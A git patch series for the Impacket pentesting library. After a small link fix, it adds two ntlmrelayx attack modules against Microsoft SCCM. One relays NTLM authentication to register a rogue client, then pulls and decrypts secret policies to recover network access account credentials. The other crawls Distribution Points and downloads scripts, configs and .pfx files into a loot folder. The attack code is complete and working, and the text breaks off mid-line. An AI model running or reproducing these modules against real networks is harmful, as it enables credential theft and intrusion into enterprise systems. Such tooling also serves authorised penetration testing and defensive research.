From 3ce41be452dfe578f7edea16bc816e4f7fabe04d Mon Sep 17 00:00:00 2001 From: Fluffy_Kaiju <57049713+fluffy-kaiju@users.noreply.github.com> Date: Wed, 20 Nov 2024 21:32:16 +0100 Subject: [PATCH 1/3] docs(smbexec): update doc dead link (#1850) * Update the blog link to web.archive.org --- ChangeLog.md | 2 +- examples/smbexec.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/ChangeLog.md b/ChangeLog.md index af17afe3f..a927527dc 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -722,7 +722,7 @@ As always, thanks a lot to all these contributors that make this library better UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to develop new functionality to interact against a target interface. * `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the - technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also + technique described at https://web.archive.org/web/20190515131124/https://www.optiv.com/blog/owning-computers-without-shell-access. It also supports instantiating a local smbserver to receive the output of the commandos executed for those situations where no share is available on the other end. * `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly. diff --git a/examples/smbexec.py b/examples/smbexec.py index 3f1627ba7..4985e9486 100755 --- a/examples/smbexec.py +++ b/examples/smbexec.py @@ -11,7 +11,7 @@ # # Description: # A similar approach to psexec w/o using RemComSvc. The technique is described here -# https://www.optiv.com/blog/owning-computers-without-shell-access +# https://web.archive.org/web/20190515131124/https://www.optiv.com/blog/owning-computers-without-shell-access # Our implementation goes one step further, instantiating a local smbserver to receive the # output of the commands. This is useful in the situation where the target machine does NOT # have a writeable share available. From 463693ea044524cb904bf598c4d1d67282f32452 Mon Sep 17 00:00:00 2001 From: q-roland <115217858+q-roland@users.noreply.github.com> Date: Mon, 25 Nov 2024 13:26:39 +0100 Subject: [PATCH 2/3] SCCM Management Point and Distribution Point relay attacks implementation (#1832) * Adding SCCM Policies attack and SCCM Distribution Point attack * Fixing typo in error log message * Handle packages one at a time for DP attack ; uniformise coding style ; update requirements.txt --- examples/ntlmrelayx.py | 30 +- .../examples/ntlmrelayx/attacks/httpattack.py | 11 +- .../attacks/httpattacks/sccmdpattack.py | 215 +++++++ .../attacks/httpattacks/sccmpoliciesattack.py | 578 ++++++++++++++++++ impacket/examples/ntlmrelayx/utils/config.py | 22 + 5 files changed, 854 insertions(+), 2 deletions(-) create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 6553b7fe1..0790d0756 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -44,6 +44,7 @@ from urllib.request import ProxyHandler, build_opener, Request except ImportError: from urllib2 import ProxyHandler, build_opener, Request +from urllib.parse import urlparse import json from time import sleep @@ -208,7 +209,11 @@ def start_servers(options, threads): c.setIsShadowCredentialsAttack(options.shadow_credentials) c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path) - + c.setIsSCCMPoliciesAttack(options.sccm_policies) + c.setIsSCCMDPAttack(options.sccm_dp) + c.setSCCMPoliciesOptions(options.sccm_policies_clientname, options.sccm_policies_sleep) + c.setSCCMDPOptions(options.sccm_dp_extensions, options.sccm_dp_files) + c.setAltName(options.altname) #If the redirect option is set, configure the HTTP server to redirect targets to SMB @@ -403,6 +408,17 @@ def stop_servers(threads): help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + # SCCM policies options + sccmpoliciesoptions = parser.add_argument_group("SCCM Policies attack options") + sccmpoliciesoptions.add_argument('--sccm-policies', action='store_true', required=False, help='Enable SCCM policies attack. Performs SCCM secret policies dump from a Management Point by registering a device. Works best when relaying a machine account. Expects as target \'http:///ccm_system_windowsauth/request\'') + sccmpoliciesoptions.add_argument('--sccm-policies-clientname', action='store', required=False, help='The name of the client that will be registered in order to dump secret policies. Defaults to the relayed account\'s name') + sccmpoliciesoptions.add_argument('--sccm-policies-sleep', action='store', required=False, help='The number of seconds to sleep after the client registration before requesting secret policies') + + sccmdpoptions = parser.add_argument_group("SCCM Distribution Point attack options") + sccmdpoptions.add_argument('--sccm-dp', action='store_true', required=False, help='Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target \'http:///sms_dp_smspkg$/Datalib\'') + sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx') + sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing') + try: options = parser.parse_args() except Exception as e: @@ -412,6 +428,18 @@ def stop_servers(threads): if options.rpc_use_smb and not options.auth_smb: logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") sys.exit(1) + + # Ensuring the correct target is set when performing SCCM policies attack + if options.sccm_policies is True and not options.target.rstrip('/').endswith("/ccm_system_windowsauth/request"): + logging.error("When performing SCCM policies attack, the Management Point authenticated device registration endpoint should be provided as target") + logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/ccm_system_windowsauth/request") + sys.exit(1) + + # Ensuring the correct target is set when performing SCCM DP attack + if options.sccm_dp is True and not options.target.rstrip('/').endswith("/sms_dp_smspkg$/Datalib"): + logging.error("When performing SCCM DP attack, the Distribution Point Datalib endpoint should be provided as target") + logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/sms_dp_smspkg$/Datalib") + sys.exit(1) # Init the example's logger theme logger.init(options.ts) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 586860fc8..7e29a3fdc 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -19,11 +19,15 @@ from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack + + PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -36,10 +40,15 @@ def run(self): if self.config.isADCSAttack: ADCSAttack._run(self) + elif self.config.isSCCMPoliciesAttack: + SCCMPoliciesAttack._run(self) + elif self.config.isSCCMDPAttack: + SCCMDPAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, # for example with: + print("DEFAULT CASE") self.client.request("GET", "/") r1 = self.client.getresponse() print(r1.status, r1.reason) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py new file mode 100644 index 000000000..c19fbd082 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py @@ -0,0 +1,215 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack to dump files from Distribution Points +# +# Authors: +# Quentin Roland(@croco_byte - Synacktiv) +# Based on SCCMSecrets.py (https://github.com/synacktiv/SCCMSecrets/) +# Inspired by the initial pull request of Alberto Rodriguez (@__ar0d__) +# Credits to @badsectorlabs for the datalib file indexing method + +import os +import json +import urllib + +from html.parser import HTMLParser +from datetime import datetime +from impacket import LOG + + +def print_tree(d, out, prefix=""): + keys = list(d.keys()) + for i, key in enumerate(keys): + is_last = (i == len(keys) - 1) + if isinstance(d[key], dict): + out.write(f"{prefix}{'└── ' if is_last else '├── '}{key}/\n") + new_prefix = f"{prefix}{' ' if is_last else '│ '}" + print_tree(d[key], out, new_prefix) + else: + out.write(f"{prefix}{'└── ' if is_last else '├── '}{key}\n") + +class PackageIDsRetriever(HTMLParser): + def __init__(self): + super().__init__() + self.package_ids = set() + + def handle_starttag(self, tag, attrs): + if tag == 'a': + for attr in attrs: + if attr[0] == 'href': + href = attr[1] + parts = href.split('/') + last_part = parts[-1].strip() + if not last_part.endswith('.INI'): + self.package_ids.add(last_part) + +class FilesAndDirsRetriever(HTMLParser): + def __init__(self): + super().__init__() + self.links = [] + self.previous_data = "" + + def handle_starttag(self, tag, attrs): + self.current_tag = tag + if tag == 'a': + href = dict(attrs).get('href') + if href: + self.links.append((href, self.previous_data)) + + def handle_data(self, data): + self.previous_data = data.strip() + + + +class SCCMDPAttack: + max_recursion_depth = 7 + DP_DOWNLOAD_HEADERS = { + "User-Agent": "SMS CCM 5.0 TS" + } + + def _run(self): + LOG.info("Starting SCCM DP attack") + + self.distribution_point = f"{'https' if self.client.port == 443 else 'http'}://{self.client.host}" + self.loot_dir = f"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}_sccm_dp_loot" + if self.config.SCCMDPExtensions == None: + self.config.SCCMDPExtensions = [".ps1", ".bat", ".xml", ".txt", ".pfx"] + elif not self.config.SCCMDPExtensions.strip(): + self.config.SCCMDPExtensions = [] + else: + self.config.SCCMDPExtensions = [x.strip() for x in self.config.SCCMDPExtensions.split(',')] + + try: + os.makedirs(self.loot_dir, exist_ok=True) + LOG.info(f"Loot directory is: {self.loot_dir}") + except Exception as err: + LOG.error(f"Error creating base output directory: {err}") + return + + + # If a set of URLs was provided, do not reindex + if self.config.SCCMDPFiles is None: + try: + LOG.debug("Retrieving package IDs from Datalib") + self.package_ids = set() + self.fetch_package_ids_from_datalib() + except Exception as e: + LOG.error(f"Encountered an error while indexing files from Distribution Point: {e}") + return + + try: + LOG.debug("Performing file download") + self.download_target_files() + LOG.info("File download performed") + except Exception as e: + LOG.error(f"Encountered an error while downloading target files: {e}") + return + + LOG.info(f"DONE - attack finished. Check loot directory {self.loot_dir}") + + + + + def recursive_file_extract(self, data): + to_download = [] + if isinstance(data, dict): + for key, value in data.items(): + if value is None and key.endswith(tuple(self.config.SCCMDPExtensions)): + to_download.append(key) + else: + to_download.extend(self.recursive_file_extract(data[key])) + return to_download + + + def download_files(self, files): + for file in files: + try: + parsed_url = urllib.parse.urlparse(file) + filename = '__'.join(parsed_url.path.split('/')[3:]) + package = parsed_url.path.split('/')[2] + self.client.request("GET", file, headers=self.DP_DOWNLOAD_HEADERS) + r = self.client.getresponse().read() + output_file = f"{self.loot_dir}/packages/{package}/{filename}" + with open(output_file, 'wb') as f: + f.write(r) + LOG.info(f"Package {package} - downloaded file {filename}") + except Exception as e: + LOG.error(f"[!] Error when downloading the following file: {file}") + LOG.error(f"{e}") + + + def download_target_files(self): + if self.config.SCCMDPFiles is not None: + with open(self.config.SCCMDPFiles, 'r') as f: + contents = f.read().splitlines() + package_ids = set() + to_download = [] + for file in contents: + try: + package_ids.add(urllib.parse.urlparse(file).path.split('/')[2]) + if file.strip() is not None: to_download.append(file) + except: + LOG.error(f"(Skipping) URL has wrong format: {file}") + continue + for package_id in package_ids: + os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True) + self.download_files(to_download) + else: + self.handle_packages() + + + def handle_packages(self): + with open(f"{self.loot_dir}/index.txt", "a") as f: + for i, package_id in enumerate(self.package_ids): + package_index = {package_id: {}} + self.recursive_package_directory_fetch(package_index[package_id], f"{self.distribution_point}/sms_dp_smspkg$/{package_id}", 0) + print_tree(package_index, f) + to_download = self.recursive_file_extract(package_index[package_id]) + if len(to_download) == 0: + LOG.debug(f"Handled package {package_id} ({i+1}/{len(self.package_ids)})") + continue + os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True) + self.download_files(to_download) + LOG.debug(f"Handled package {package_id} ({i+1}/{len(self.package_ids)})") + LOG.info("[+] Package handling complete") + + + def recursive_package_directory_fetch(self, object, directory, depth): + depth += 1 + + self.client.request("GET", directory, headers=self.DP_DOWNLOAD_HEADERS) + r = self.client.getresponse().read() + + parser = FilesAndDirsRetriever() + parser.feed(r.decode()) + + files = [] + for href in parser.links: + if '' in href[1]: + if depth <= self.max_recursion_depth: + object[href[0]] = {} + self.recursive_package_directory_fetch(object[href[0]], href[0], depth) + else: + object[href[0]] = "Maximum recursion depth reached" + else: + files.append(href[0]) + for file in files: + object[file] = None + + + def fetch_package_ids_from_datalib(self): + self.client.request("GET", f"{self.distribution_point}/sms_dp_smspkg$/Datalib", headers=self.DP_DOWNLOAD_HEADERS) + r = self.client.getresponse().read() + packageIDs_parser = PackageIDsRetriever() + packageIDs_parser.feed(r.decode()) + self.package_ids = packageIDs_parser.package_ids + + LOG.info(f"Found {len(self.package_ids)} packages") + LOG.debug(self.package_ids) \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py new file mode 100644 index 000000000..d1db006cf --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py @@ -0,0 +1,578 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack to register a device and dump all secret policies +# +# Authors: +# Quentin Roland(@croco_byte) - Synacktiv +# Based on SCCMSecrets.py (https://github.com/synacktiv/SCCMSecrets/) +# Inspired by xpn's work (@xpn) + +import os +import zlib +import json +import base64 +import string +import random +import binascii +import xml.etree.ElementTree as ET + +from time import sleep +from datetime import datetime, timedelta +from impacket import LOG +from cryptography import x509 +from cryptography.x509.oid import NameOID +from cryptography.x509 import ObjectIdentifier +from cryptography.hazmat.primitives import serialization, hashes, padding +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15, OAEP, MGF1 +from cryptography.hazmat.primitives.hashes import SHA1 +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.backends import default_backend + +from pyasn1_modules import rfc5652 +from pyasn1.codec.der.decoder import decode + +# Request templates +REGISTRATION_REQUEST_TEMPLATE = """ + +{encryption}{signature} + + + + +""" +REGISTRATION_REQUEST_WRAPPER_TEMPLATE = "{data}{signature}\x00" + +SCCM_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" +POLICY_REQUEST_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" +POLICY_REQUEST_TEMPLATE = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" +REPORT_BODY = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" + +OID_MAPPING = { + '1.2.840.113549.3.7': "des-ede3-cbc", + + # PKCS1 v2.2 + '1.2.840.113549.1.1.1': 'rsaEncryption', + '1.2.840.113549.1.1.2': 'md2WithRSAEncryption', + '1.2.840.113549.1.1.3': 'md4withRSAEncryption', + '1.2.840.113549.1.1.4': 'md5WithRSAEncryption', + '1.2.840.113549.1.1.5': 'sha1-with-rsa-signature', + '1.2.840.113549.1.1.6': 'rsaOAEPEncryptionSET', + '1.2.840.113549.1.1.7': 'id-RSAES-OAEP', + '1.2.840.113549.1.1.8': 'id-mgf1', + '1.2.840.113549.1.1.9': 'id-pSpecified', + '1.2.840.113549.1.1.10': 'rsassa-pss', + + # AES + '2.16.840.1.101.3.4.1.41': 'aes256_ecb', + '2.16.840.1.101.3.4.1.42': 'aes256_cbc', + '2.16.840.1.101.3.4.1.43': 'aes256_ofb', + '2.16.840.1.101.3.4.1.44': 'aes256_cfb', + '2.16.840.1.101.3.4.1.45': 'aes256_wrap', + '2.16.840.1.101.3.4.1.46': 'aes256_gcm', + '2.16.840.1.101.3.4.1.47': 'aes256_ccm', + '2.16.840.1.101.3.4.1.48': 'aes256_wrap_pad' +} + + + + +### Cryptography utility functions ### +def create_certificate(privatekey): + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, "ConfigMgr Client"), + ]) + cert = x509.CertificateBuilder().subject_name( + subject + ).issuer_name( + issuer + ).public_key( + privatekey.public_key() + ).serial_number( + x509.random_serial_number() + ).not_valid_before( + datetime.utcnow() - timedelta(days=2) + ).not_valid_after( + datetime.utcnow() + timedelta(days=365) + ).add_extension( + x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, + key_agreement=False, content_commitment=False, data_encipherment=True, + crl_sign=False, encipher_only=False, decipher_only=False), + critical=False, + ).add_extension( + x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), + critical=False, + ).sign(privatekey, hashes.SHA256()) + + return cert + +def create_private_key(): + privatekey = rsa.generate_private_key(public_exponent=65537, key_size=2048) + return privatekey + +def SCCM_sign(private_key, data): + signature = private_key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + +def build_MS_public_key_blob(private_key): + blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" + blob = blobHeader + private_key.public_key().public_numbers().n.to_bytes(int(private_key.key_size / 8), byteorder="little") + return blob.hex().upper() + + +### Various utility functions ### +def encode_UTF16_strip_BOM(data): + return data.encode('utf-16')[2:] + +def clean_junk_in_XML(xml_string): + root_end = xml_string.rfind('', root_end) + 1 + clean_xml_string = xml_string[:root_end] + return clean_xml_string + return xml_string + + +### Client registration utility functions ### +def generate_registration_request_payload(management_point, public_key, private_key, client_name): + registrationRequest = REGISTRATION_REQUEST_TEMPLATE.format( + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), + encryption=public_key, + signature=public_key, + client=client_name.split('.')[0], + clientfqdn=client_name + ) + + signature = SCCM_sign(private_key, encode_UTF16_strip_BOM(registrationRequest)).hex().upper() + registrationRequestWrapper = REGISTRATION_REQUEST_WRAPPER_TEMPLATE.format( + data=registrationRequest, + signature=signature + ) + registrationRequestWrapper = encode_UTF16_strip_BOM(registrationRequestWrapper) + "\r\n".encode('ascii') + + registrationRequestHeader = SCCM_HEADER_TEMPLATE.format( + bodylength=len(registrationRequestWrapper)-2, + client=client_name, + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), + sccmserver=management_point + ) + + final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + final_body += registrationRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + final_body += zlib.compress(registrationRequestWrapper) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + return final_body + + +### Policies request utility functions ### +def generate_policies_request_payload(management_point, private_key, client_guid, client_name): + policyRequest = encode_UTF16_strip_BOM(POLICY_REQUEST_TEMPLATE.format( + clientid=client_guid, + clientfqdn=client_name, + client=client_name.split('.')[0] + )) + b"\x00\x00\r\n" + policyRequestCompressed = zlib.compress(policyRequest) + + MSPublicKey = build_MS_public_key_blob(private_key) + clientID = f"GUID:{client_guid.upper()}" + clientIDSignature = SCCM_sign(private_key, encode_UTF16_strip_BOM(clientID) + "\x00\x00".encode('ascii')).hex().upper() + policyRequestSignature = SCCM_sign(private_key, policyRequestCompressed).hex().upper() + + policyRequestHeader = POLICY_REQUEST_HEADER_TEMPLATE.format( + bodylength=len(policyRequest)-2, + sccmserver=management_point, + client=client_name.split('.')[0], + publickey=MSPublicKey, + clientIDsignature=clientIDSignature, + payloadsignature=policyRequestSignature, + clientid=client_guid, + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ") + ) + + final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + final_body += policyRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + final_body += policyRequestCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + return final_body + + +### Secret policies utility functions ### +def decrypt_key_OEAP(encrypted_key, private_key): + return private_key.decrypt(encrypted_key, OAEP(mgf=MGF1(algorithm=SHA1()), algorithm=SHA1(), label=None)) + +def decrypt_key_RSA(encrypted_key, private_key): + return private_key.decrypt(encrypted_key, PKCS1v15()) + +def decrypt_body_triple_DES(body, plaintextkey, iv): + cipher = Cipher(algorithms.TripleDES(plaintextkey), modes.CBC(iv), backend=default_backend()) + decryptor = cipher.decryptor() + plaintext = decryptor.update(body) + decryptor.finalize() + return plaintext.decode('utf-16le') + +def decrypt_body_AESCBC(body, plaintextkey, iv): + cipher = Cipher(algorithms.AES(plaintextkey), modes.CBC(iv), backend=default_backend()) + decryptor = cipher.decryptor() + plaintext = decryptor.update(body) + decryptor.finalize() + return plaintext.decode('utf-16le') + +def decrypt_secret_policy(policy_response, private_key): + content, _ = decode(policy_response, asn1Spec=rfc5652.ContentInfo()) + content, _ = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData()) + encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets() + keyEncryptionOID = str(content['recipientInfos'][0]['ktri']['keyEncryptionAlgorithm']['algorithm']) + iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:] + body = content['encryptedContentInfo']['encryptedContent'].asOctets() + bodyEncryptionOID = str(content['encryptedContentInfo']['contentEncryptionAlgorithm']['algorithm']) + + try: + if OID_MAPPING[keyEncryptionOID] == 'rsaEncryption': + plaintextkey = decrypt_key_RSA(encryptedRSAKey, private_key) + elif OID_MAPPING[keyEncryptionOID] == 'id-RSAES-OAEP': + plaintextkey = decrypt_key_OEAP(encryptedRSAKey, private_key) + else: + LOG.error(f"Key decryption algorithm {OID_MAPPING[keyEncryptionOID]} is not currently implemented.") + return + except KeyError as e: + LOG.error(f"[-] Unknown key decryption algorithm.") + return + + try: + if OID_MAPPING[bodyEncryptionOID] == 'des-ede3-cbc': + plaintextbody = decrypt_body_triple_DES(body, plaintextkey, iv) + elif OID_MAPPING[bodyEncryptionOID] == 'aes256_cbc': + plaintextbody = decrypt_body_AESCBC(body, plaintextkey, iv) + else: + LOG.error(f"[-] Body decryption algorithm {OID_MAPPING[bodyEncryptionOID]} is not currently implemented.") + return + except KeyError as e: + LOG.error(f"[-] Unknown body decryption algorithm.") + return + + return plaintextbody + +def mscrypt_derive_key_sha1(secret:bytes): + # Implementation of CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey); + buf1 = bytearray([0x36] * 64) + buf2 = bytearray([0x5C] * 64) + + digest = hashes.Hash(hashes.SHA1(), backend=default_backend()) + digest.update(secret) + hash_ = digest.finalize() + + for i in range(len(hash_)): + buf1[i] ^= hash_[i] + buf2[i] ^= hash_[i] + + digest1 = hashes.Hash(hashes.SHA1(), backend=default_backend()) + digest1.update(buf1) + hash1 = digest1.finalize() + + digest2 = hashes.Hash(hashes.SHA1(), backend=default_backend()) + digest2.update(buf2) + hash2 = digest2.finalize() + + derived_key = hash1 + hash2[:4] + return derived_key + +def deobfuscate_secret_policy_blob(output): + if isinstance(output, str): + output = bytes.fromhex(output) + + data_length = int.from_bytes(output[52:56], 'little') + buffer = output[64:64+data_length] + + key = mscrypt_derive_key_sha1(output[4:4+0x28]) + iv = bytes([0] * 8) + cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend()) + decryptor = cipher.decryptor() + decrypted_data = decryptor.update(buffer) + decryptor.finalize() + + padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3 + decrypted_data = padder.update(decrypted_data) + padder.finalize() + + try: + decrypted_data = decrypted_data.decode('utf-16-le') + except: + decrypted_data = decrypted_data.hex() + return decrypted_data + + +def parse_policies_flags(policyFlagValue): + policyFlagValue = int(policyFlagValue) + NONE = 0b0000000 + TASKSEQUENCE = 0b0000001 + REQUIRESAUTH = 0b0000010 + SECRET = 0b0000100 + INTRANETONLY = 0b0001000 + PERSISTWHOLEPOLICY = 0b0010000 + AUTHORIZEDDYNAMICDOWNLOAD = 0b0100000 + COMPRESSED = 0b1000000 + + result = [] + if policyFlagValue & TASKSEQUENCE != 0: + result.append("TASKSEQUENCE") + if policyFlagValue & REQUIRESAUTH != 0: + result.append("REQUIRESAUTH") + if policyFlagValue & SECRET != 0: + result.append("SECRET") + if policyFlagValue & INTRANETONLY != 0: + result.append("INTRANETONLY") + if policyFlagValue & PERSISTWHOLEPOLICY != 0: + result.append("PERSISTWHOLEPOLICY") + if policyFlagValue & AUTHORIZEDDYNAMICDOWNLOAD != 0: + result.append("AUTHORIZEDDYNAMICDOWNLOAD") + if policyFlagValue & COMPRESSED != 0: + result.append("COMPRESSED") + + return result + + + +class SCCMPoliciesAttack: + + def _run(self): + LOG.info("Starting SCCM policies attack") + + management_point = f"{'https' if self.client.port == 443 else 'http'}://{self.client.host}" + loot_dir = f"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}_sccm_policies_loot" + if self.config.SCCMPoliciesClientname == None: self.config.SCCMPoliciesClientname = self.username.rstrip('$') + if self.config.SCCMPoliciesSleep == None: self.config.SCCMPoliciesSleep = 180 + + try: + os.makedirs(loot_dir, exist_ok=True) + LOG.info(f"Loot directory is: {loot_dir}") + except Exception as err: + LOG.error(f"Error creating base output directory: {err}") + return + + os.makedirs(f"{loot_dir}/device") + LOG.info(f"Generating Private key and client (self-signed) certificate") + private_key = create_private_key() + certificate = create_certificate(private_key) + public_key = certificate.public_bytes(serialization.Encoding.DER).hex().upper() + # Writing certs to device info directory for potential future use + with open(f"{loot_dir}/device/cert.pem", 'wb') as f: + f.write(certificate.public_bytes(serialization.Encoding.PEM)) + with open(f"{loot_dir}/device/key.pem", 'wb') as f: + f.write(private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())) + + # Device registration + LOG.info(f"Registering SCCM client with client name '{self.config.SCCMPoliciesClientname}'") + registration_request_payload = generate_registration_request_payload(management_point, public_key, private_key, self.config.SCCMPoliciesClientname) + + try: + register_response = self.register_client(management_point, registration_request_payload) + if register_response == None: + LOG.error(f"Device registration failed") + return + root = ET.fromstring(register_response[:-1]) + client_guid = root.attrib["SMSID"].split("GUID:")[1] + except Exception as e: + LOG.error(f"Device registration failed: {e}") + return + + with open(f"{loot_dir}/device/guid.txt", 'w') as f: + f.write(f"{client_guid}\n") + with open(f"{loot_dir}/device/client_name.txt", 'w') as f: + f.write(f"{self.config.SCCMPoliciesClientname}\n") + + LOG.info(f"Client registration complete - GUID: {client_guid}") + LOG.info(f"Sleeping for {self.config.SCCMPoliciesSleep} seconds") + sleep(int(self.config.SCCMPoliciesSleep)) + + + # Policies request + policies_request_payload = generate_policies_request_payload(management_point, private_key, client_guid, self.config.SCCMPoliciesClientname) + + try: + policies_response = self.request_policies(management_point, policies_request_payload) + root = ET.fromstring(policies_response[:-1]) + policies = root.findall(".//Policy") + policies_json = {} + for policy in policies: + policies_json[policy.attrib["PolicyID"]] = {"PolicyVersion": policy.attrib["PolicyVersion"] if "PolicyVersion" in policy.attrib else "N/A", + "PolicyType": policy.attrib["PolicyType"] if "PolicyType" in policy.attrib else "N/A", + "PolicyCategory": policy.attrib["PolicyCategory"] if "PolicyCategory" in policy.attrib else "N/A", + "PolicyFlags": parse_policies_flags(policy.attrib["PolicyFlags"]) if "PolicyFlags" in policy.attrib else "N/A", + "PolicyLocation": policy[0].text.replace("", management_point.split('http://')[1]) } + with open(f'{loot_dir}/policies.json', 'w') as f: + f.write(json.dumps(policies_json)) + with open(f'{loot_dir}/policies.raw', 'w') as f: + f.write(policies_response) + secret_policies = {} + for key, value in policies_json.items(): + if isinstance(value["PolicyFlags"], list) and "SECRET" in value["PolicyFlags"]: + secret_policies[key] = value + except Exception as e: + LOG.error(f"Policies request failed: {e}") + return + + LOG.info(f"Policies list retrieved. {len(policies_json.keys())} total policies; {len(secret_policies.keys())} secret policies") + if len(secret_policies.keys()) <= 0: + LOG.error(f"No secret policies retrieved. Either you relayed a user account and automatic device approval is not enabled, or something went wrong") + return + + + for key, value in secret_policies.items(): + try: + result = self.secret_policy_process(key, value, private_key, client_guid, loot_dir) + if result['NAA_credentials'] is not None: + LOG.info(f"Retrieved NAA account credentials: 